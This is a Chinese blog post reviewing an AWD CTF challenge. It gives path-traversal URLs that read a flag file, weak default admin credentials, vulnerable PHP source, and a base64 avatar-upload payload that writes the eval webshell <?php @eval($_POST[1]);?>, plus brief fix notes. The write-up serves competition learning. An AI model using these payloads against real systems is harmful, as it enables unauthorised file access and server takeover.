0x4qE's Blog 


Vidar-Team线下AWD复盘


Web1

前台任意文件下载

下载文件要管理员验证,管理员账号密码是admin/admin,而我抢先一步换了所有队伍的密码,所以全场都不能注册普通会员

如果这里我找到了任意文件下载的洞,分数就不会这么难看了

但是如果是注册VIP会员的话,就不需要管理员帐号了,因此可以注册一个VIP会员

下载附件的地址

web狗敏锐的直觉发现这里有一个file=,那么可以试一试目录穿透

/api.php?c=download&file=../../../../flag走一手,flag到手了。

修复

workdir/framework/api/download/download_control.php

index_f()加入对$filename的过滤

后台任意文件读

首先要发现后台的弱密码admin/admin123

然后在全局搜索file_get_contents找到一处未对文件名进行过滤的函数,定位在/workdir/framework/libs/file.phpcat()函数

然后在全局搜索cat,寻找调用了这个函数的位置

发现两处未对文件名$file过滤就调用cat($file)的地方,位置分别在

/workdir/framework/admin/tpl_control.php
/workdir/framework/admin/appsys_control.php

两处调用函数的方法都是一样的,只有控制器c,方法f,ID的值id不同,根据具体情况改变

所以我们只要了解调用的方法

/?c=xx&f=xx&id=xx&title=xx

/admin.php?c=appsys&f=file_edit&id=fav&title=../../../../flag

/admin.php?c=tpl&f=edit&id=1&title=../../../../flag

修复

在最根本的file_get_contents对文件名过滤../

如果不知道后台密码就用不了,大概只能趁别人还没发现的时候打一手,做好权限维持吧

任意文件写

api处

根据hint:/api.php?c=usercp&f=avatar找到对应的控制器和函数

位置在workdir/framework/api/usercp_control.phpavatar_f()函数

这里有一个save_pic()函数,我们可以跟进去看一看

这里将我们的输入没过滤,直接写入文件。所以我们可以通过它往服务器上写马。

avatar_f()函数源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$type = $this->get('type');
if ($type == 'base64') {
$data = $this->get('data');
if (!$data) {
$this->error(P_Lang('图片内容不能为空'));
}
if (strpos($data, ',') === false) {
$this->error(P_Lang('附片格式不正确'));
}
$tmp = explode(",", $data);
$tmpinfo = substr($data, strlen($tmp[0]));
$content = base64_decode($tmpinfo);
if ($content == $tmpinfo) {
$this->error(P_Lang('不是合法的图片文件'));
}
$info = explode(";", $tmp[0]);
$ext = 'png';
if ($info[0]) {
$tmp = explode("/", $info[0]);
if ($tmp[1]) {
$ext = $tmp[1];
}
}
if ($ext == 'jpeg') {
$ext = 'jpg';
}
}

先接受参数type,如果值等于base64,那么再接受data,通过截取字符串验证图片。一般的图片base64格式为data:image/jpg;base64,xxxx,这个函数直接将image/后的字符串当作后缀,那么我们便可以传一个image/php,在服务器上写一个php文件

payload/api.php?c=usercp&f=avatar&type=base64&data=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

通过<?php @eval($_POST[1]);?>来写马

成功之后进入个人中心,头像的地址即是上传马的地址,访问然后POST一个参数即可拿到flag






© - 0x4qE - 2019 - 2020 - Powered by hexo Themed by quark

浙ICP备19039917号-1
浙公网安备 33011802001799号

小破站跌跌撞撞